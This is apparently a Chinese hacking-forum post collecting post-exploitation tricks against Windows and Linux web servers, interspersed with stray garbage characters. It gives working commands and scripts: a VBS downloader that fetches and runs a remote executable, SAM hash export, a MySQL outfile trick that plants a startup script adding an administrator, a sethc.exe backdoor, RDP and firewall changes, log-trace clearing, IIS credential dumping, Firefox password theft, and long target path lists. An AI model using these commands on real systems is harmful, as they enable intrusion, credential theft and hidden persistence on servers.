; i) h. e$ A$ `! Y& d——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
: p1 n  z4 v* f————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
, o* Z+ {4 K% N- ]: n. |' e% O关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
) b, o$ v& f* g! |}  

4 b* r+ q2 S  I$ V% h. ?提权先执行systeminfo
; ^4 `. a. _9 otoken 漏洞补丁号 KB956572
Churrasco          kb952004
命令行RAR打包~~·
- D3 n2 f" u/ I, e+ Orar a -k -r -s -m3 c:\1.rar c:\folder
& w( ?& j+ H4 o2 N: T  ]! G——————————————
/ a& q" F$ _1 @2 A2、收集系统信息的脚本  
for window：
% [% ]4 U5 Q% c2 O* \
. s9 D. l  v( [6 v: I@echo off
7 F% g! p: o, c+ j  Cecho #########system info collection
, _8 x/ N: a( `. K7 Gsysteminfo
* U4 z3 M! @% p- G, [  A& M& ^ver
hostname
1 e0 ?5 P- T# c0 y6 W: t' @net user
* D2 W- W; Y3 @6 o  Q" |net localgroup
" [' I( c9 u" Wnet localgroup administrators
net user guest
5 Y# A- _' {# B/ i  G% l' S3 dnet user administrator
% P5 @& U* U9 L3 D: d: k) Q6 m
echo #######at- with   atq#####
echo schtask /query

5 j% E) T: @# i) C/ _echo
5 O; I7 R' O1 I3 [3 Eecho ####task-list#############
tasklist /svc
6 B- h) |' w& x" l$ K+ {echo
echo ####net-work infomation
$ B! R6 p/ Z# t/ b+ Lipconfig/all
' D4 _; y5 k: Y4 k- J* groute print
! L; u3 m' p& R' w  s- ?# d( Zarp -a
+ ^7 T4 f# p" r& p: ?# xnetstat -anipconfig /displaydns
echo
8 @! x& T3 ?* a$ P, ^: Cecho #######service############
% M4 E1 o1 B3 [" ]% G5 Dsc query type= service state= all
echo #######file-##############
$ l' W9 V' J9 N9 ]3 B7 ^cd \
8 u( {- Q) u8 J3 U) Ntree -F
for linux：
6 B1 Q2 `2 x) ?9 ^: _
9 U1 h5 p) ?6 L/ v& G' z#!/bin/bash
  O+ H5 g  \: N# q
% [  j$ A3 E) T" [echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
8 u! N6 Y. V9 U3 _cat /proc/meminfo
echo
cat /proc/cpuinfo
2 o3 I6 l" a- D+ `0 ]5 K& `/ l  fecho
1 k; N# l2 _2 p8 E$ G! M' X% Irpm -qa 2>/dev/null
( i/ W$ B' G' A######stole the mail......######
3 X: @$ d  y3 {2 H6 u( pcp -a /var/mail /tmp/getmail 2>/dev/null
" q: @9 o1 j. P: Z; s* a" d
0 N& J" J6 ^; f/ g8 w
) Z1 o# ?( ?/ D! H5 ~' uecho 'u'r id is' `id`
4 d" F& I" O1 w1 w* w3 }! `echo ###atq&crontab#####
7 L. G6 V3 D+ G" ^! y, b8 @atq
crontab -l
echo #####about var#####
( L6 m$ U2 [7 e$ ]2 pset

; u) t( C( {4 p/ k* g, s$ [echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
7 C; G  c1 B$ bcat /etc/hosts
; J0 @9 M' H" b( F' Fhostname
ipconfig -a
arp -v
echo ########user####
cat /etc/passwd|grep -i sh

echo ######service####
3 F# O' s1 K; ochkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
" a8 Q5 X) L" M5 Mcat /etc/passwd|grep -i $i
7 L8 N; Z% ]8 tdone
1 g) ]' u* a6 U; x  D
3 @' R8 b4 M) \4 W8 A3 ^locate passwd >/tmp/password 2>/dev/null
sleep 5
& g6 b1 k- q) Z7 Jlocate password >>/tmp/password 2>/dev/null
: q% P  g# U) Q. @1 Q7 nsleep 5
1 D; i3 u% p7 M' xlocate conf >/tmp/sysconfig 2>dev/null
7 l+ k& A2 _# t- ksleep 5
1 F: X2 z7 q& }4 glocate config >>/tmp/sysconfig 2>/dev/null
sleep 5

###maybe can use "tree /"###
4 o4 n  X# |; B) h0 S# L# Hecho ##packing up#########
: ~# ?- X: |7 _- Dtar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
- C) t% T9 s0 ~# F' Z8 Irm -rf /tmp/getmail /tmp/password /tmp/sysconfig
1 R# w. h8 X4 f" N$ n! f' O% C7 }- v——————————————
  \% }  r4 C8 b! R& T. s+ \3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
& f/ E5 G: Q7 G5 d               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
  \+ p2 M# ^0 s注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
5 J7 f4 B7 f+ U据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
6 i  P. l3 l' c2 u$ d4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
( L/ k. O* _# Uecho sGet.Type = 1 >>c:\windows\cftmon.vbs
. z* X$ [2 v% E3 f' N$ eecho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
0 w* `  ]( H! d4 X
2
On Error Resume Nextim iRemote,iLocal,s1,s2
5 D6 G+ K4 R" S. FiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
9 B4 @5 ~6 V/ ~Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

; s# B" J! h  t. ^* P当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
! D3 p/ c. A1 t% l$ U5、
1.查询终端端口
! U: t9 C" K: T5 A# |4 z& P& TREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
% f$ c  v7 s4 m+ L' KREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
1 z- c8 G! d+ `" n  G3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
; T0 R* W4 Y+ S, W0 T2 p' e6 w+ NREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
& p& n7 a2 b' T, k4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
+ k/ Y  a* H( c+ I6、create table a (cmd text);
; p! w2 M  }0 P( _; Uinsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
3 \7 W6 h) m7 s3 S! ^insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
( j4 N5 h+ j' F9 b# C————————————————————
& H8 ^3 ^* v# H% W7 S& A& j5 Y. _7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
; @) u* z4 }5 B, d- a8、for /d %i in (d:\freehost\*) do @echo %i

0 ?2 ]5 y) S9 F5 g列出d的所有目录
  
. N# [# u4 g( F& z  for /d %i in (???) do @echo %i
8 K8 @$ `$ j  W% @% N
把当前路径下文件夹的名字只有1-3个字母的打出来
1 ~8 u# Z2 I* I/ E. |
4 ^3 T# K, Y  S. B+ B2.for /r %i in (*.exe) do @echo %i
$ F5 T& S* a, J- N  _1 t) P' E  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
8 R. f0 H4 T+ d. z. P) v. S
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
" N6 _( k' n" w; z+ o  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
# B8 t# ]0 @4 W* e7 l  p
1 U( ]. P( Q  n7 b' U% p4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
1.Administrator注册表备份:
, E6 u* c! ]3 _  }1 n9 Rreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
  O" Z% j8 G7 T3 g) `7 L% z修改PortNumber.

3.清除3389登录记录:
' ~/ Q: ~4 \) V1 preg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4 \7 Z0 n* |4 r. Q- ^# Q5 ~4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
+ H& ]  P" O  C
4 @* y9 v0 l  [) Q- a0 X+ y) J5.禁用TCP/IP端口筛选(需重启):
! ?7 b4 y, C3 V- ?" b: j" w4 c; yREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
, }# J+ |8 p0 Y% j8 n
: ^+ ?& i7 B. x: K6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0
7 H" p9 J# E3 [& i+ w/ T) `, B9 y
7.停止指派策略"myipsec":
  l6 x. b/ r/ q2 w  e- Pnetsh ipsec static set policy name="myipsec" assign=n
# l. F* P# B6 S, _4 \# B, I
8.系统口令恢复LM加密:
& s7 L4 J7 c6 a( r+ mreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
' ]& M8 p- B  j0 u" r) _: b
9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
" S$ x5 p: a7 d- ?, W
10.shift映像劫持
1 L$ k, Z# U5 ^4 T, vreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
0 i' s7 I+ H4 l$ d( B' w( n
5 `" i% a3 ~' a8 g, C, s9 ^! ?reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
! s9 m; b2 J  K% [-----------------------------------
星外vbs(注：测试通过，好东西）
. o* o4 j1 ]' j" J' LSet ObjService=GetObject("IIS://LocalHost/W3SVC")
8 l. a7 X/ Z. p/ k0 d; QFor Each obj3w In objservice
, g8 U; f4 f8 U3 o: [! OchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
/ F+ z5 `3 N+ d, f% g1 A8 vexit for
msgbox("error!")
. |/ w! S6 X0 B) ewscript.quit
! N: \) S8 y6 z: G9 {end if
5 C$ x; E0 a4 Cserverbindings=IIS.serverBindings
5 @/ N# y3 I' O2 e! u. Z" ^' B$ tServerComment=iis.servercomment
; d$ |1 n0 F# h* sset IISweb=iis.getobject("IIsWebVirtualDir","Root")
: i. d' t. g3 n/ Iuser=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
wscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
7 U4 V. ~2 p9 T3 K1 r# B+ q1 K将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
2 ^' @  \' o/ F然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
# _3 |& e* X8 H+ c$ d  mPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

0 @# G' T4 y( f9 o' u==============================================================
LINUX常见路径：
* S1 l2 O1 H( z* S& w: X
/etc/passwd
/etc/shadow
/etc/fstab
/etc/host.conf
* V' d0 X& s, x5 b( n/etc/motd
) ]. _) m$ r8 a$ }/ O7 H/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
7 `  ?7 j0 g! \1 [$ ?/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
6 h+ W0 Z- a; j* o/var/httpd/conf/php.ini
# Q, v! ?9 e0 v/var/www/index.html
/var/www/index.php
+ d. D8 {1 {$ v- X9 [$ |/opt/www/conf/httpd.conf
( J. u0 `( ^" c% I& y" b/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
. K0 v8 o$ d" v( G# t  B/usr/local/httpd2.2/htdocs/index.php
3 `: d% s$ Z5 P" S/usr/local/httpd2.2/htdocs/index.html
) W; b, f% D7 ~8 F/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
$ x9 {$ O% v  @; M5 O/ p1 J1 i/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
4 c) P8 N" O6 Q0 a7 [# @9 ]/www/php4/php.ini
/www/php5/php.ini
& \" v; u& k8 T: W3 @/www/conf/httpd.conf
. J1 P. v% |, m3 l/www/htdocs/index.php
9 m# T% m+ o: D! c# S/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/ a6 H4 V( I. v7 ^: h/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
/etc/apache2/apache.conf
2 Y4 Z0 t/ c5 A9 c/etc/apache/httpd.conf
0 C4 t% X9 J6 @: D1 V# s+ I/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
7 n+ R; r8 N- a/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
4 x1 z% z" ], ^  d5 I& h/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
) Y0 Q( v0 `0 E, `" u, h/etc/httpd/conf.d/httpd.conf
' g# u' T& U5 ^/etc/httpd/logs/error_log
4 S3 J0 G) N8 S3 J, M) H* `/etc/httpd/logs/error.log
% K/ S' t1 q3 y  C' T/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
# v! H& E- M7 l* k7 H- N/home/apache2/conf/httpd.conf
/var/log/apache/error_log
& a' b: P5 Z1 O/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/ X' A! u: |% V1 r0 o# [0 ?/var/log/apache2/error_log
; k6 j6 X- r# ^& k* K: z6 q/var/log/apache2/error.log
6 Y% A8 d; K3 {" Y( i' W2 _/var/log/apache2/access_log
" H0 U' U0 A" p5 |' c' T, L; A/var/log/apache2/access.log
- [& P1 ]/ Q) i$ T) U: T/var/www/logs/error_log
/var/www/logs/error.log
, T8 @! I* x  d* T) [' I* j/var/www/logs/access_log
/var/www/logs/access.log
/ l& ?# f6 Q& c% {8 ?/usr/local/apache/logs/error_log
' }, H& s8 M. \7 N  ^8 A/ w  [/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
0 r3 Z' H$ o' w/ ]# g' I/ \1 M/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
3 ^' U2 f" w) R6 B2 O% t- O8 F1 V/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
4 i  }( G  u) q/ _! p/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
) ?7 n  @& z: S- o% ~/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
2 m* S. `, Q! J# [& S/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
: ]$ c* p  n% z/usr/local/php4/php.ini
* \& L7 w; @$ L, }/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
! Q* o. T8 o2 n" G/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
' M* q& D7 Q) z! ?/usr/local/apache/conf/httpd.conf
! E5 G, p8 J/ g8 N, l: m/usr/local/apache2/conf/httpd.conf
8 r! o0 ^( }  S* W7 k4 M. D/usr/local/apache2/conf/php.ini
5 D* H6 P$ E! ~1 t4 a/etc/php4.4/fcgi/php.ini
2 \. f5 o( m+ K! `3 c8 K1 @, i/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
8 j6 I3 Y$ ~1 {$ O  J$ o/etc/php5/apache/php.ini
* U9 B1 G' k% M! j: H/etc/php5/apache2/php.ini
/etc/php/php.ini
7 o1 H& e6 E# E3 a! k9 h# z/etc/php/php4/php.ini
: Z' e5 A- Q/ R3 u5 Y/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
& L7 u) {$ Q4 L8 N, ~& x4 D/usr/local/Zend/etc/php.ini
% \: Z% G+ v! K+ ]! ^) g7 X9 X/opt/xampp/etc/php.ini
) v5 z4 K5 e1 N; o5 ]/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
! [$ B  Y* E* Z0 p/etc/php/cgi/php.ini
$ u" y) M5 f2 @/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
/php/php.ini
/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
0 E3 ^" p9 G5 d! _/NetServer/bin/stable/apache/php.ini
# P0 h+ ~- o6 S% J/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
1 j$ [: U* v, R' v2 c9 A/var/log/mysql/mysql-bin.log
/var/log/mysql.log
" w* S$ p! C: y) u/var/log/mysqlderror.log
, Q2 R+ M3 E& f. L0 p+ F1 g( h8 _/var/log/mysql/mysql.log
! g; f: b3 D8 D0 |/var/log/mysql/mysql-slow.log
/var/mysql.log
/ I, {3 z; I) X+ P/var/lib/mysql/my.cnf
+ n8 F! d) g# h% C/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
* H# k& V0 ~4 @( ~8 C: N/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
- Z7 Q. ^1 |) L' U1 p9 Q6 p/usr/local/cpanel/logs/stats_log
. u' `" O( @8 n/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
. y  b7 c2 c; |# ^* W/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
4 x( `' i1 y+ N- B/usr/local/share/examples/php4/php.ini
' E( o4 g9 o) `2 z" s( N; u/usr/local/share/examples/php/php.ini

0 O( a4 _6 @' H2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
c:\boot.ini
& {7 B, y) Z9 |: g: a3 hc:\1.txt
& J3 m4 m3 r; }( V% ^c:\a.txt
+ G5 _& b+ o. h* A* E/ [7 P
c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
7 r/ u, ]( O, Jc:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
3 K# }/ S" }) d: s. ^C:\WinWebMail\Web\default.asp
$ z- X: j- T' Z* W3 OC:\WINDOWS\FreeHost32.dll
- o& |! v7 ]  gC:\WINDOWS\7i24iislog4.exe
, G* L. }( s4 W4 @$ V' b2 m, MC:\WINDOWS\7i24tool.exe

. ~- f5 J, r+ r! l# Yc:\hzhost\databases\url.asp

1 i( L7 J  @' O6 ~! S6 Fc:\hzhost\hzclient.exe
! e/ _% @+ ^9 j, w: T, fC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
+ ]+ O3 F! i; `9 w. RC:\WINDOWS\web.config
8 C; y! C1 M# jc:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
& Z( i# w$ ]$ @# F  G7 ^( l# \c:\website\index.html
c:\web\index.asp
5 a! u+ ?9 D2 D1 [+ }c:\www\index.asp
( z- k( @, h' ~& U& e, o( Jc:\wwwsite\index.asp
3 L/ o$ b- U$ e: H6 }9 T  m+ zc:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
, p1 K5 D1 k( C. }) V- a+ D  xc:\web\default.html
6 b6 {: z8 V. O1 c$ u$ G* J, K& Jc:\www\default.html
c:\WWWROOT\default.html
- B6 G! o( b+ M6 p) e( mc:\website\default.html
c:\web\default.asp
6 `# Q* F" s8 u$ a1 @c:\www\default.asp
2 L: P- U$ l$ sc:\wwwsite\default.asp
% A' x$ I2 i& [& d+ Pc:\WWWROOT\default.asp
2 z/ ~0 A5 P( R0 i# ~6 y0 qc:\web\default.php
c:\www\default.php
7 ~6 B; M  d5 M. ec:\WWWROOT\default.php
% m3 @* F% G" D2 Vc:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
5 i5 [: {) [( r" P- wC:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
' {" A# O: @9 P, t" tC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
/ _) ^' E1 Y1 W+ C1 [- Uc:\ravbin\store.ini
/ E- v) {5 J( b' V, Fc:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
# C2 k3 L0 Q3 {1 GC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
* `8 \5 `% t: ]/ |9 Z7 DC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
6 f0 T: Y7 h) o: ~+ @; r# K3 pC:\Documents and Settings\Administrator\My Documents\1.txt
9 J" Y/ ?4 H3 ~9 [1 X$ QC:\Documents and Settings\Administrator\桌面\1.txt
4 L  w! _  m6 ?& t$ FC:\Documents and Settings\Administrator\My Documents\a.txt
5 X1 B8 v6 K- [, x7 }* g; vC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
8 A8 S( O3 B& S: S2 K' bC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
( ~2 K; q4 j- |' i4 `7 bC:\Program Files\Symantec\SYMEVENT.INF
& v' N: ]8 t. ]7 ^- BC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
7 w& i( L6 i2 t$ K( j" f  h( P5 iC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
$ E( v) A+ K, B! O% G* gC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
1 N( ]% p' d# ]1 aC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
9 \1 D/ m- G/ a% i: V" qC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
- d3 \7 l% U( q! |4 v5 g8 ^, V/ UC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
% [4 j% E1 k. J5 GC:\MySQL\MySQL Server 5.0\my.ini
0 S3 P2 E8 \$ a9 rC:\Program Files\MySQL\MySQL Server 5.0\my.ini
6 v$ M! J3 [- y9 X4 ^C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
  @9 @$ H  A, p. M; qC:\Program Files\MySQL\MySQL Server 5.0\COPYING
. p6 n4 [' [+ H! B; \6 L5 IC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
3 q% R7 _1 d. }3 m. U8 IC:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
! v6 L, @6 t# u+ z7 RC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
# `4 C. C1 a& W8 g: D$ sc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
& G2 O% Q+ m- A$ W  {7 ?c:\tomcat6\tomcat6\bin\version.sh
1 u* Q- t5 y5 Q2 P! E: @3 j3 Zc:\tomcat6\bin\version.sh
6 N$ I/ S# ~$ U& Q/ Cc:\tomcat\bin\version.sh
  }" F) [0 m; Z0 k' oc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
/ t& M$ a, l" A9 fc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
8 x% c1 ]0 e6 t) x% A6 Pc:\Apache2\Apache2\bin\Apache.exe
  Y- C* {& R# `& s1 ~- r$ b5 c& dc:\Apache2\bin\Apache.exe
0 g" ]! m( n8 m4 \c:\Apache2\php\license.txt
8 K0 Y4 w$ P8 D, ?. Q: fC:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
$ Y  ]1 [6 q$ F& Z% N9 e/usr/share/tomcat6/bin/startup.sh
; @! h3 o; I' |& w' X6 H0 D& t/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
, r) c7 k% z- ~  E3 }. N, B2 uc:\Program Files\Tencent\qq\qq.exe
. x- R5 {* V- C, Fc:\Program Files\Tencent\qq\bin\qq.exe
1 L+ b# |: P3 e4 j: Y3 b( s/ {c:\Program Files\Tencent\qq2009\qq.exe
6 u' R8 I; Q7 b$ rc:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
) a1 ]5 l! o- I9 }C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
